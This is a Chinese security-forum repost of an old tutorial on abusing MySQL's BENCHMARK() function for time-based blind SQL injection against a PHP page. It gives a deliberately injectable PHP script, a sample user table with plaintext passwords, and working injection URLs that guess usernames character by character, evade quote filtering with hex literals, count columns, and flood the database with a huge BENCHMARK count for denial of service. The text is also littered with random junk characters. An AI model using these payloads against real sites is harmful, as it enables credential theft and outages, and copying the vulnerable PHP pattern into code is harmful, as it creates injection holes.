找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2122|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用 - @/ A: Y2 u8 K; D. D( B, H, c
本文作者:SuperHei' e* F* F$ d1 |( \2 F+ N
文章性质:原创
3 f2 C1 Q1 b  ^/ P发布日期:2005-01-02# Z! `; t) [. x$ Z
完成日期:2004-07-09   I) c4 ?; t4 o/ G) d8 g+ ?
第一部4 p/ W& k0 q: [$ }7 J/ ~1 g" `

) J/ F) Q- I. x利用时间推延进行注射---BENCHMARK函数在注射中的利用
5 a* x( B5 _: P3 ~: C
, J* p# I' m7 Q9 U一.前言/思路
6 K- n: _" G* N- S/ |" H$ M4 x$ y7 q# k) {5 n0 ?; S
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。8 |, g" Y, _4 r3 j
2 j. S2 U$ M8 f2 S
  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。) n0 @" H" `- C0 d, E

! Z) H( c. _- t: B/ \二.关于BENCHMARK函数9 i1 K" E$ d* O. U$ s9 K- G. Y

3 F5 d; Q: r8 H' [. Y8 Y  在MySQL参考手册里可以看到如下描叙:
7 H8 K$ D# n6 [% e' y: a. z4 e3 y. {: Y# ~3 u" D0 K
5 N7 F" i- u/ |3 u3 U; B
--------------------------------------------------------------------------------3 u* G$ J9 {  E% i; ?0 T

$ Z! T) n% f& R! zBENCHMARK(count,expr) / p' h. ?' ?, l' y7 d  P! w
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
( b7 V& a5 }$ y% a& Nmysql> select BENCHMARK(1000000,encode("hello","goodbye")); / y/ O. b0 b" S
+----------------------------------------------+
9 U. H" X: ~, V$ || BENCHMARK(1000000,encode("hello","goodbye")) |
* d; {8 |* }: j: Z. R+----------------------------------------------+ - K2 P7 s6 u- ~/ y! r9 L$ v
| 0 |
2 |0 v- M3 E4 s. p. \+----------------------------------------------+
* k2 \4 m% Q7 I# a1 row in set (4.74 sec)
( R" ?: L# p4 k& S
+ M& m/ _+ U+ E报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。- K- D* L/ K8 P& T9 ^

: _3 u* }7 c/ W: l& A( x- ]' U1 w7 {5 r9 j; o! R
--------------------------------------------------------------------------------- ^1 @  X1 S. K- X, n; q8 j
9 `- J1 M( o4 x& d$ D# v# [  d
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 0 J0 B. O2 v* f' P% x

& g; ?5 F' ~" m( u) Q( t8 smysql> select md5( 'test' );
. I( L* ?& G5 [7 T8 L+----------------------------------+ - O/ B/ h6 R' |  H6 N  s. Q6 O
| md5( 'test' ) | . ]* n0 {9 A4 d2 v5 J; C2 |( D; ^
+----------------------------------+
3 u& g0 J6 }* b2 ~" j  d% Y" ~| 098f6bcd4621d373cade4e832627b4f6 |
/ Q: B7 V4 e8 ~+ ?) J9 b3 x8 R4 V+----------------------------------+
8 A( j# p  {/ I8 T3 v4 y- C/ L1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec , D+ _1 u) J, F+ J: a! ^

  ^' G: C; ^0 s; y  ~mysql> select benchmark( 500000, md5( 'test' ) ); 6 x3 ~6 B6 a8 {( I; h- b
+------------------------------------+
! b; ~6 }' y) k( O: ^: Z- ~6 S+ c6 `| benchmark( 500000, md5( 'test' ) ) |
7 C( q  D. H: l* A9 C0 P+------------------------------------+
3 q7 }! V: F8 d* f' D4 V| 0 |
0 z' p0 B) K) i# _3 I1 {+------------------------------------+
2 ]2 i6 l2 @; @- b+ V5 D1 row in set (6.55 sec) 〈------------执行时间为6.55 sec! D: i4 I' o* {! u

/ h, f; L# A' }- A9 s
' s  h9 ^3 I' M- ?# w+ a& K" u6 R. b  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
0 K+ Q+ h8 E9 u" m! s% I# T0 |
0 I% m( f% M  G" S- s8 `9 F. ~3 E三.具体例子
1 ]- v4 r8 d5 Z" b* y6 x% S5 `' B$ W9 o9 g
  首先我们看个简单的php代码:
) Y7 P$ g; A( x. D2 |& w% U" x! |+ b1 i( {$ g! }' F9 |9 E7 Y! a1 h/ ?
< ?php
- U. e* K9 a) N' D  E9 f' T- t$servername = "localhost";
0 ]+ S# G3 A/ d  M1 L/ N( G5 P$dbusername = "root";
8 q3 i* u/ p3 N; {0 N) \- O/ b$dbpassword = "";
, o4 Q. M1 o) A! P2 [) d4 q7 Y: X5 ?, F$dbname = "injection";
" v0 Y+ @; c$ d( h8 |% `
4 v( g+ _: |! e6 }) @0 j' w+ zmysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
3 A2 M9 x0 w1 U3 w  L8 V6 d: i) l7 F2 t3 ]3 b% x. `; L
$sql = "SELECT * FROM article WHERE articleid=$id";
. c/ T, F& R1 R7 Q" U8 ?8 K. z$result = mysql_db_query($dbname,$sql); & E) r: v; I5 w+ T- u9 [$ V. |3 q
$row = mysql_fetch_array($result);
7 B3 i1 J' ~" {& b$ l& P/ n% Y- l
/ b5 p: F2 N9 ]& h6 I! _; a" ?/ Lif (!$row) ) K- D2 D8 i1 c( V5 K& M! ]1 s
{
# {5 N9 ?( Q( i# {' b0 ?exit;
" H, }& I+ H; W4 I}
8 `& i4 d3 N9 z* @5 S?>) i* F# e7 E+ k
8 \% `0 f& `- [
6 b4 j6 X0 A6 r. M5 {/ \0 c' g
  数据库injection结构和内容如下:
' I0 }2 l8 n; }. d6 i
8 \/ T$ ^  B" Y" i! y# 数据库 : `injection`
; f* L. U8 s' r2 ~$ J6 L: a8 m#
+ H7 A6 E; G1 e- e% {9 T/ e/ u5 r6 I% o; G; g
# --------------------------------------------------------
6 G) `/ ^+ g( O! m4 e4 ^
9 f0 r- z4 J0 G4 Y#
' t& d, @8 Q$ B8 m5 f$ q+ p# 表的结构 `article`
. `4 V/ {' Q3 T0 G* U#
  q' O1 F! E6 ^! W9 z1 N8 z1 l( ~0 J" q5 g, \
CREATE TABLE `article` ( 5 o0 S2 F, ?: e+ u0 W
`articleid` int(11) NOT NULL auto_increment,
# P( Y3 V" F" i$ Z`title` varchar(100) NOT NULL default '',
) r2 I! l1 _0 m( `# T! O8 f`content` text NOT NULL,
* r' ]" E/ i9 z3 I/ a6 x9 H5 bPRIMARY KEY (`articleid`) 2 x- q9 h# ?: H! [/ i/ Z( F
) TYPE=MyISAM AUTO_INCREMENT=3 ; ! F0 w( @. k# e' F
& o- ?4 f/ e* Q! [
#
7 }& S, ^2 S5 L) B: y2 e# 导出表中的数据 `article` : s& b; u- m- b# X
#
* M) x. b; r! Y* p+ E- q
1 e1 k+ ?5 y; F/ \  @; ?* L' ?, H$ ^8 IINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 2 @0 L/ b4 {# G2 P, D2 G6 ~+ t% f9 D
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
3 T. G. H* V  g+ n4 ]
& [7 K, {9 p8 R# e2 X) E. T# N# --------------------------------------------------------
3 o- L4 t: |9 a" z& ]
9 L; u0 z& m/ k' K, J+ P# Z# k& j#
& R4 Q3 D& G" @5 O& X# 表的结构 `user` * @+ i5 _3 N/ I0 A4 \+ {
#
$ ?) X+ O2 F. C$ e/ T6 @
, O' @2 v, r7 m8 r5 G- {CREATE TABLE `user` (
- Z  d# b) f1 m! u  s`userid` int(11) NOT NULL auto_increment, , u% [( A- U# ^7 O
`username` varchar(20) NOT NULL default '', , z  b5 _% H7 X. x/ x8 ]" [9 u
`password` varchar(20) NOT NULL default '',
4 |: G& V6 _3 NPRIMARY KEY (`userid`)
4 B; i+ `6 h  `& a5 \9 Z) TYPE=MyISAM AUTO_INCREMENT=3 ;
  M% N# U9 J) ?+ W0 m
/ l1 O: K& f+ Y" U+ D#
' T% V0 l0 B& U2 U5 m1 R# 导出表中的数据 `user`
6 w* s  f$ x' r& q8 `# , V! h% o! v- i8 H# j; f
) s) u/ R0 |, p. `* y; h; m5 ?2 |7 N
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
" ?7 d2 c7 w! Z/ n8 U7 [0 b* C2 `INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');4 c" V, ~" W" o( g8 N
+ }" X8 O" y8 J2 T
  X+ |0 |  Q" h
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
9 K+ Y# W& n9 e% A; P) M7 x0 V  S) Y9 [5 r- a
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
9 ]& O+ U3 \- O( N% D/ x- K! F! @; c
4 ^; R7 q0 k0 C# k* O# y; k; m/ I3 A. t, _
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:2 z2 C- A& t9 Z: M1 @
7 `# ?# d( T  [6 U+ J4 I9 G
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
6 A. F, E5 D/ ]2 d. @9 a
# I$ D4 J# J4 M7 B' f/ Q  x5 f6 h' D# l- O
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 F. N! `9 t% W1 ^
3 s; p6 F+ X7 t* r
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ) }* z# f* q  y# ~! _+ N
- J, }- X7 M" b
第二部- J/ T' H7 F; s# S( ?* c, k

6 ^4 x$ V! J. W2 f# L利用BENCHMARK函数进行ddos攻击
/ E- w: u' E5 ^- [; x0 a  |; D: `( ^$ P. G5 f3 K% h, Q
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
% o8 G9 t0 M5 k; A6 X' x$ {8 S) E6 P) Y7 Y; r, n
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
4 I" k  p$ ~0 H! q1 K6 [7 E- g& C
" g6 Y- m: A' a8 {( x3 y
' \4 u. N6 b+ ^3 ?0 w! O# Q2 F5 f小结
+ i- P1 s8 Z% u
- y& k* i& n) t" \4 B6 `. k  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。% s) x& L8 T- \  O  ]
% w) I" f" ]2 |1 O6 I0 J% |; J
  
1 `' }1 z! L: |
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表